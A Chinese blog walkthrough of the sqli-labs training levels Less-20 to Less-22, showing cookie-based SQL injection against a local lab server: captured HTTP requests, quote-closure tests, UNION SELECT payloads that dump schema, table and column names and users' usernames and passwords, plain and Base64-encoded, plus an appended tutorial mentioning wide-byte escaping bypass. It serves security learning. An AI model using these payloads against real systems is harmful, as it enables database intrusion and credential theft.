sqli-labs less-20 less-21 less-22 cookie注入

COOKIE

作用:是由网络服务器存储在你电脑硬盘上的一个txt类型的小文件,它和你的网络行为有关,记录了当前用户的状态
形式:key=value
例如:当我们登录某个账号后,服务器会在cookies进行记录

在这里插入图片描述
在这里插入图片描述
个人理解当我们登录一个网站后。setcookie函数根据我们登录的账户及密码,加上获取当前时间等其他信息,来生成一个cookie,当我们再次访此页面,不需要重新登入,只需要比对cookie信息,比如在less-20中,cookie根据uname生成,然后用cookie中的信息来比对数据库中的uname,如果正确容许访问。负责拒绝

less-20

首先登入一个账号,模拟登入下的注入
登入后用bp抓包

GET /sq/Less-20/index.php HTTP/1.1
Host: 192.168.140.130
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:130.0) Gecko/20100101 Firefox/130.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Referer: http://192.168.140.130/sq/Less-20/index.php
Connection: keep-alive
Cookie:uname=admin
Upgrade-Insecure-Requests: 1
Priority: u=0, i

发现相较于之前,没有了post提交的表单信息,而是ookie:uname=admin
发包,页面回显
在这里插入图片描述
页面有cookie信息和name及password
当我们发包时,数据库提取cookie的uname与数据库的uname进行比较。
于是我们便可以在cookie处进行注入

闭合方式

GET /sq/Less-20/index.php HTTP/1.1
Host: 192.168.140.130
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:130.0) Gecko/20100101 Firefox/130.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Referer: http://192.168.140.130/sq/Less-20/index.php
Connection: keep-alive
Cookie:uname=admin' or 1=1 #
Upgrade-Insecure-Requests: 1
Priority: u=0, i

在cookie处多次尝试,确定闭合方式为',方法与前面关卡寻找闭合方式一样。

列数

Cookie:uname=admin’ order by 5 #
Cookie:uname=admin’ order by 4 #
Cookie:uname=admin’ order by 3 #

列数为3

回显位

Cookie:uname=adminaWE’ union select 1,2,3 #
记得uname为假值,来显示union查询的值

报数据

  • 所有表
  • Cookie:uname=adminaWE’ union select 1,group_concat(schema_name),3 from information_schema.schemata#
    security的所有表
  • Cookie:uname=adminaWE’ union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()#
    users表的所有列
  • Cookie:uname=adminaWE’ union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name=‘users’#
    数据
  • Cookie:uname=adminaWE’ union select 1,group_concat(username,password),3 from security.users #

less-21

本关卡当我们登入的时候发现页面显示
在这里插入图片描述
这里cookie变成了不认识的符号,我们复制过去百度一下,
在这里插入图片描述

发现这是一种编码,为Base64编码,熟悉的热相信一眼便可以看出来,于是我们不难猜测这是将前端表单信息进行编码,上传到后端解码在进行比对,
所以本关与less-20一致,只不过对cookie进行了Base64编码,我们在进行注入的时候可以先将语句写出来,进行编码,然后在bp中进行注入

闭合方式

构造语句并进行编码

在这里插入图片描述
在bp注入
在这里插入图片描述
回显
在这里插入图片描述
不难看出闭合方式为').

报数据

  • 所有表
  • Cookie:uname=adminaWE’) union select 1,group_concat(schema_name),3 from information_schema.schemata#
    编码YWRtaW5hV0UnKSB1bmlvbiBzZWxlY3QgMSxncm91cF9jb25jYXQoc2NoZW1hX25hbWUpLDMgZnJvbSBpbmZvcm1hdGlvbl9zY2hlbWEuc2NoZW1hdGEj

security的所有表

  • Cookie:uname=adminaWE’) union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()#
    编码
    YWRtaW5hV0UnKSB1bmlvbiBzZWxlY3QgMSxncm91cF9jb25jYXQodGFibGVfbmFtZSksMyBmcm9tIGluZm9ybWF0aW9uX3NjaGVtYS50YWJsZXMgd2hlcmUgdGFibGVfc2NoZW1hPWRhdGFiYXNlKCkj

users表的所有列

  • Cookie:uname=adminaWE’) union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name=‘users’#
    编码
    YWRtaW5hV0UnKSB1bmlvbiBzZWxlY3QgMSxncm91cF9jb25jYXQoY29sdW1uX25hbWUpLDMgZnJvbSBpbmZvcm1hdGlvbl9zY2hlbWEuY29sdW1ucyB3aGVyZSB0YWJsZV9zY2hlbWE9ZGF0YWJhc2UoKSBhbmQgdGFibGVfbmFtZT0ndXNlcnMnIw==

数据

  • Cookie:uname=adminaWE’) union select 1,group_concat(username,password),3 from security.users #
    编码
    YWRtaW5hV0UnKSB1bmlvbiBzZWxlY3QgMSxncm91cF9jb25jYXQodXNlcm5hbWUscGFzc3dvcmQpLDMgZnJvbSBzZWN1cml0eS51c2VycyAj

less-22

我们发现本关卡也对cookie进行了编码,当我们注入时,发现页面没有回显,当时页面有报错,所以使用报错注入,extractvalue,updatexml,floor都可以使用,闭合方式为".没有其他变化,所以不做过多演示,如果有需要,可以留言,我会将我的语句放在评论区

### sqli-labs less20 实验教程 #### 了解目标环境 sqli-labs 是一个用于学习和实践 SQL 注入技术的平台。Less-20 关卡专注于通过 `Cookie` 进行 SQL 注入攻击[^3]。 #### 准备工作 确保已经安装并配置好 PHP 和 MySQL 环境,并且成功部署了 sqli-labs 平台。访问 Less-20 页面,观察其 URL 结构以及如何处理请求参数。 #### 测试注入点 尝试修改浏览器发送给服务器的 HTTP 请求头中的 `Cookie` 字段来测试是否存在漏洞。具体来说,在原始 `Cookie` 值后面附加恶意负载以探测数据库结构或提取敏感数据。 例如,可以通过篡改 `uname` 的值来进行联合查询(UNION SELECT),从而获取当前使用的数据库名称: ```http GET /sqli/Less-20/ HTTP/1.1 Host: localhost ... Cookie: uname=admin' UNION ALL SELECT NULL,database(),NULL-- ``` 上述 Payload 利用了闭合单引号 `'` 来结束预期输入,并紧接着执行新的 SQL 片段;两个连续破折线 `--` 表示注释掉后续部分以防报错中断整个语句。 #### 提升技巧:绕过简单防护措施 当面对某些基本防御机制时——比如自动转义特殊字符函数如 mysql_real_escape_string() ,可以考虑采用宽字节编码等方式构造有效载荷实现突破[^2]。 对于本关而言,则是利用 Base64 编码后的字符串作为用户名传递给应用程序,以此规避潜在过滤规则的影响。实际操作过程中需注意调整编码方式匹配后台解析逻辑。 #### 获取更多细节信息 一旦确认存在可被利用之处后,便能进一步挖掘其他有用情报,像枚举出 users 表内的字段名列表那样: ```sql Cookie: uname=<base64_encoded_payload> ``` 其中 `<base64_encoded_payload>` 应替换为经过适当转换得到的结果,形似如下所示: ```plaintext admin') union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='users'# ``` 这会返回 user 表中所有的列名作为一个单一字符串输出到页面上供分析人员查看。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值